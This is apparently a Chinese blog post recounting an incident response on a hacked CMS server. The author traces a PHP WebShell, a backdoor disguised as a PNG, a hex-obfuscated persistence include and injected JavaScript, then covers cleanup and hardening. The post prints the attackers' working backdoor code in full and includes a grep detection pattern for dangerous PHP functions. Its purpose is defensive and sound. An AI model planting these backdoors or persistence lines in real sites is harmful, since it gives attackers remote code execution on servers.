一次 xxxCMS 被黑实录:从 66 字节 WebShell 到隐藏在 PNG 里的后门

踩坑实录 2026-07-22 53
预计阅读时间:17 分钟

背景

最近阿里云推送了一个紧急高危漏洞安全告警,发现一个可疑木马文件:

20260721140850268

点击详情,如下图可查看具体的信息

20260721140949593

排查并修复

一、确认文件木马文件是否存在

先找到对应目录,查看文件状态:

sudo stat /www/xxx/xxx/core/template/bzze4ztt.php

输出显示:

File: /www/xxx/xxx/core/template/bzze4ztt.php
Size: 66
Uid: www
Gid: www
Access: 2026-07-18 11:34:30
Modify: 2026-07-08 03:19:05
Birth: 2026-07-08 03:19:05

说明这个文件在 2026-07-08 03:19:05 被创建,属主是 www,也就是 Web 进程用户。

接着再查看访问日志:

sudo grep -R "bzze4ztt.php" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null

发现请求记录:

209.9.201.21 - - [08/Jul/2026:03:19:06 +0800] "GET /core/template/bzze4ztt.php HTTP/1.1" 200
209.9.201.21 - - [08/Jul/2026:03:22:02 +0800] "POST /core/template/bzze4ztt.php HTTP/1.1" 200

这说明攻击者在文件创建后,很快对文件进行了访问,随后又通过 POST 请求执行了代码。

二、代码具体写的什么

对可疑文件内容进行查看,里面只有一行代码:

<?php eval(base64_decode(base64_decode($_POST["ant"])));?>helloxzx

这是一种典型 PHP WebShell。

它的执行逻辑是:

读取 POST 参数 ant
        ↓
base64 解码一次
        ↓
base64 再解码一次
        ↓
交给 eval() 执行

也就是说,攻击者可以构造请求:

POST /core/template/bzze4ztt.php
ant=双层base64编码后的PHP代码

服务器收到后,会把 ant 参数还原成 PHP 代码并执行。

后面的:

helloxzx

通常是探测标记。攻击者访问这个文件时,如果页面返回了 helloxzx,就能确认木马上传成功并且可以访问。

三、查看文件执行日志

查看文件执行日志

 sudo grep -R "POST /core/template/bzze4ztt.php" /www/wwwlg/nginx /var/log/apache2 2>/dev/null
# 日志内容
/www/xxx/xxx.xxx.error.log:2026/07/08 03:22:02 [error] 505771#0: *54440 FastCGI sent in stderr: "PHP message: PHP Warning:  file_get_re/init.php): failed to open stream: No such file or directory in /www/xxx/xxx/core/template/bzze4ztt.php(1) : eval()'d code on lssage: PHP Warning:  file_put_contents(core/init.php): failed to open stream: No such file or directory in /www/xxx/xxx/core/temptt.php(1) : eval()'d code on line 2" while reading response header from upstream, client: 209.9.201.21, server: huijia-health.com, request:e/template/bzze4ztt.php HTTP/1.1", upstream: "fastcgi://unix:/tmp/php-cgi-74.sock:", host: "www.xxx-xxx.com"
/www/xxx/xxx.log:209.9.201.21 - - [08/Jul/2026:03:22:02 +0800] "POST /core/template/bzze4ztt.php HTTP/1.1" 200 210 "-" "Mozilla/5 NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"

分析错误日志,有一条非常重要的信息:

file_get_contents(core/init.php): failed to open stream
file_put_contents(core/init.php): failed to open stream
... bzze4ztt.php(1) : eval()'d code ...

这说明攻击者通过 WebShell 执行了 PHP 代码,试图读写:

core/init.php

虽然这次报错显示相对路径没有找到,但后续检查发现,core/init.php 这个文件已经被植入了恶意代码。

四、init.php 被植入持久化后门

init.php 中发现了这一行:

@include( dirname(__FILE__) . pack('H*','2f2e2e2f7374617469632f75706c6f61642f696d6167652f32303138303731352f313533313635313035323436343532322e706e67') );

这行代码看起来乱七八糟,关键在 pack('H*', ...)

把十六进制字符串,进行解码后得到:

/../static/upload/image/20180715/1531651052464522.png

所以这行代码实际等价于:

@include(dirname(__FILE__) . '/../static/upload/image/20180715/1531651052464522.png');

也就是说,网站每次初始化时,都会偷偷加载这个 .png 文件,也就是阿里云的第二条告警,图片是可疑问题。

注意:虽然扩展名是 .png,但在 PHP 的 include 中,只要文件内容是 PHP 代码,就会被当成 PHP 执行。

五、伪装成图片的后门文件

我们把这个看起来像是图片文件,下载下来,看看是什么东西

果然,图片无法打开,查看详细信息

20260721151745299

我们使用IDE打开,里面只有10行代码

<?php
$k = substr(md5($_SERVER['REMOTE_ADDR']), -8);
echo "Pass: $k<br>";

if (version_compare(PHP_VERSION, '8.0', '<')) {
    isset($_REQUEST[$k]) && @mb_ereg_replace('.*', $_REQUEST[$k], '', 'e');
} else {
    isset($_REQUEST[$k]) && @eval($_REQUEST[$k]);
}
?>

这段代码是一个危险的 Webshell(网页木马)后门代码。结合了动态密码验证和代码执行漏洞,允许攻击者在满足特定条件时,在服务器上执行任意 PHP 代码。

逐行深度分析

  1. 动态密码生成机制
$k = substr(md5($_SERVER['REMOTE_ADDR']), -8);
echo "Pass: $k<br>";
  • $_SERVER['REMOTE_ADDR']:获取当前访问者的真实 IP 地址。
  • md5(...):对访问者的 IP 地址进行 MD5 哈希运算。
  • substr(..., -8):截取 MD5 哈希值的最后 8 位字符。
  • 作用:生成一个仅与访问者 IP 绑定的“动态密码”并打印出来。这意味着只有知道该 IP 对应密码的攻击者才能触发后续逻辑,增加了一定的隐蔽性,防止被其他黑客或扫描器误触发。

  • 核心恶意代码执行逻辑

if (version_compare(PHP_VERSION, '8.0', '<')) {
    isset($_REQUEST[$k]) && @mb_ereg_replace('.*', $_REQUEST[$k], '', 'e');
} else {
    isset($_REQUEST[$k]) && @eval($_REQUEST[$k]);
}

这段代码通过 version_compare 判断当前服务器的 PHP 版本,采取了两种不同的代码执行方式:

  • PHP < 8.0 的执行方式
    • isset($_REQUEST[$k]):检查 GET 或 POST 请求中是否包含以 $k(即动态密码)为键名的参数。
    • @mb_ereg_replace('.*', $_REQUEST[$k], '', 'e'):这是利用了 mb_ereg_replace 函数的 /e 修饰符漏洞。该修饰符会将替换内容(即 $_REQUEST[$k] 的值)当作 PHP 代码执行。@ 符号用于抑制可能产生的错误警告。
  • PHP >= 8.0 的执行方式
    • 由于 PHP 8.0 已经移除了 mb_ereg_replace/e 修饰符,攻击者直接使用了 @eval($_REQUEST[$k])eval() 会将传入的字符串作为 PHP 代码执行,这是最致命的代码执行方式。

继续检查这个文件:

sudo stat /www/xxx/xxx/xxx/xxx/xxx/20180715/1531651052464522.png

# 结果
File: /www/xxx/xxx/xxx/xxx/xxx/20180715/1531651052464522.png
  Size: 262             Blocks: 8          IO Block: 4096   regular file
Device: 253,3   Inode: 1309276     Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/     www)   Gid: ( 1000/     www)
Access: 2026-07-20 23:56:48.173409860 +0800
Modify: 2026-05-27 11:40:54.000000000 +0800
Change: 2026-05-27 11:40:57.240076784 +0800
 Birth: 2026-05-27 11:40:54.795994747 +0800

发现它创建于:

2026-05-27 11:40:54

查看日志:

sudo grep -R "1531651052464522.png" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null
# 结果
/www/xxx/xxx.log:18.163.65.72 - - [27/May/2026:11:40:54 +0800] "GET /szadmin.php?p=/Upgrade/down&list=/1531651052464522.png HTTP/1.1" 200 121 "-" "-"

根据请求日志,发现这个文件很可能是通过 xxxCMS 后台升级下载等相关入口,部署到服务器上的。


六、再排查其他文件是否被篡改

排查同一时间段修改过的文件:

sudo find /www/xxx/xxx -type f -newermt "2026-05-27 11:30:00" ! -newermt "2026-05-27 12:00:00" -ls

# 结果
1309276      4 -rw-r--r--   1 www      www           262 May 27 11:40 /www/xxx/xxx/xxx/xxx/image/20180715/1531651052464522.png
  1309045      8 -rwxr-xr-x   1 www      www          5896 May 27 11:40 /www/xxx/xxx/xxx/xxx/core/view/View.php
  1308632     24 -rwxr-xr-x   1 www      www         23113 May 27 11:40 /wwwxx/xxx/xxx/xxx/core/basic/Check.php

根据结果发现,同一时间还对这2个文件进行了修改:

/www/xxx/xxx/static/upload/image/20180715/1531651052464522.png
/www/xxx/xxx/core/view/View.php
/www/xxx/xxx/core/basic/Check.php

检查文件代码,其中 Check.php 里发现了混淆 JavaScript:

<script type="text/javascript">
...
eval('window')
...
s.src = ...
setInterval(function(){debugger;},100);
</script>

它会动态加载一个可疑域名:

https://cdn.jsdclivir.com//npm/bootstrap@5.3.0/dist/css/bootstrap.min.css?v=3.7.9.0

这个域名伪装得像 jsdelivr,但并不是正常 CDN 域名。

因此可以判断:

core/basic/Check.php

也被篡改了。

core/view/View.php 虽然 grep 出来的 file_put_contentsinclude 可能属于模板引擎正常逻辑,但它和后门文件在同一分钟被修改,也不能直接信任,建议选择干净、安全版本进行直接覆盖。


七、查看完整的时间线

根据排查到的文件时间和日志,可以还原大致过程:

2026-05-27 11:40:54
攻击者通过 /szadmin.php?p=/Upgrade/down&list=/1531651052464522.png 写入伪装图片后门

2026-05-27 11:40
core/basic/Check.php、core/view/View.php 被修改

之后
core/init.php 被插入 @include(...),用于自动加载伪装图片后门

2026-07-08 03:19:05
攻击者创建 /core/template/bzze4ztt.php

2026-07-08 03:19:06
攻击者 GET 访问 bzze4ztt.php,确认木马可访问

2026-07-08 03:22:02
攻击者 POST 执行 WebShell,尝试读写 core/init.php

这不是单个文件异常,而是一次成功落地并建立持久化的后门入侵。


八、应急处理步骤

  1. 对文件进行隔离,修改木马文件权限,避免继续被执行:
sudo chmod 000 /www/xxx/xxx/core/template/bzze4ztt.php
sudo chmod 000 /www/xxx/xxx/xxx/xxx/image/20180715/1531651052464522.png
  1. 保留证据,给领导汇报时,可以用到:
sudo mkdir -p /root/malware-quarantine/20260721
sudo cp -a /www/xxx/xxx/core/template/bzze4ztt.php /root/malware-quarantine/20260721/
sudo cp -a /www/xxx/xxx/xxx/xxx/image/20180715/1531651052464522.png /root/malware-quarantine/20260721/
  1. 删除后门文件:
sudo rm -f /www/xxx/xxx/core/template/bzze4ztt.php
sudo rm -f /www/xxx/xxx/xxx/xxx/image/20180715/1531651052464522.png
  1. 恢复 CMS 核心文件。

不要只删除有问题的几行,建议从同版本安全的 CMS 包下载,并进行覆盖:

/www/xxx/xxx/core/init.php
/www/xxx/xxx/core/basic/Check.php
/www/xxx/xxx/core/view/View.php

如果临时手工处理,要删除 init.php 中这一行:

@include( dirname(__FILE__) . pack('H*','...') );

并清理 Check.php 中异常的 <script> 注入代码。


九、服务器全面检查

对上面有问题文件修复后,再对服务器进行全面检查:

sudo grep -RIn --include="*.php" -E "eval\(|assert\(|base64_decode|pack\(|gzinflate|gzuncompress|str_rot13|shell_exec|passthru|system\(|exec\(|popen|proc_open" /www/xxx/xxx 2>/dev/null

检索假图片、假CDN链接、木马返回参数等特征:

sudo grep -RIn "bzze4ztt.php\|1531651052464522.png\|cdn.jsdclivir.com\|helloxzx" /www/xxx/xxx /www/wwwlogs 2>/dev/null

查过往攻击 IP:

sudo grep -R "209.9.201.21" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null
sudo grep -R "18.163.65.72" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null

查最近新增的 PHP 文件:

sudo find /www/xxx/xxx -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" -o -name "*.phar" \) -mtime -60 -ls

十、权限修复

这次木马入侵里有一个关键问题:CMS框架目录文件属主是 www:www,Web 进程可以写核心代码。

这很危险。

正常情况下,Web 进程只应该能写这些目录:

runtime/
static/upload/

不应该能对这些代码类文件写入:

core/
apps/
config/
template/

可以参考我对这写文件夹权限:

sudo chown -R root:root /www/xxx/xxx/core
sudo chmod -R 755 /www/xxx/xxx/core

sudo chown -R www:www /www/xxx/xxx/runtime
sudo chown -R www:www /www/xxx/xxx/static/upload

结合业务确认哪些目录必须可写,保证权限最小化。


十一、禁止静态文件目录执行 PHP

即使升级更新的时候,遗漏的一些文件,导致木马文件偷偷溜进来,也不能允许静态文件目录里的文件被 PHP 执行。

同过 Nginx 进行限制,增加规则:

location ~* ^/static/upload/.*\.(php|php5|phtml|phar|shtml)$ {
    deny all;
}

更严格一点,可以禁止整个静态目录的文件进入 PHP 解析:

location ^~ /static/upload/ {
    location ~ \.php$ {
        deny all;
    }
}

十二、后续加固建议

对于这类入侵处理不能头疼医头,脚疼医脚,建议还要处理入口文件和登录凭据,不能保证账户密码没泄露。

1. 升级 CMS 到最新版
2. 修改后台入口文件名例如 szadmin.php
3. 修改后台管理员密码
4. 修改数据库密码
5. 修改宝塔面板密码
6. 修改 FTP/SFTP/SSH 密码
7. 检查是否存在异常管理员账号
8. 检查计划任务 crontab
9. 检查 Web 目录是否还有异常 PHP 文件
10. 关闭不必要的写权限

检查计划任务:

sudo crontab -l
sudo crontab -u www -l
sudo ls -la /etc/cron* /var/spool/cron 2>/dev/null

检查异常进程:

ps aux | grep -E "php|wget|curl|bash|sh|python|perl" | grep -v grep

总结

这次事件不是普通误报,是真的存在,而是一次隐蔽的 WebShell 入侵(阿里的安全还是有两把刷子的,为阿里点赞):

bzze4ztt.php 是远程代码执行入口
1531651052464522.png 是伪装图片的 PHP 后门
init.php 被插入 include 代码用于持久化
Check.php 被插入恶意混淆 JavaScript

修复重点不只是删除一个木马文件,而是收紧整个服务器环境与CMS系统:

隔离后门
恢复核心文件
排查同时间段改动
修复上传目录执行风险
收紧 Web 用户写权限
升级系统并更换所有相关密码

本文由 楸木 原创,转载请注明出处。

相关推荐

发现更多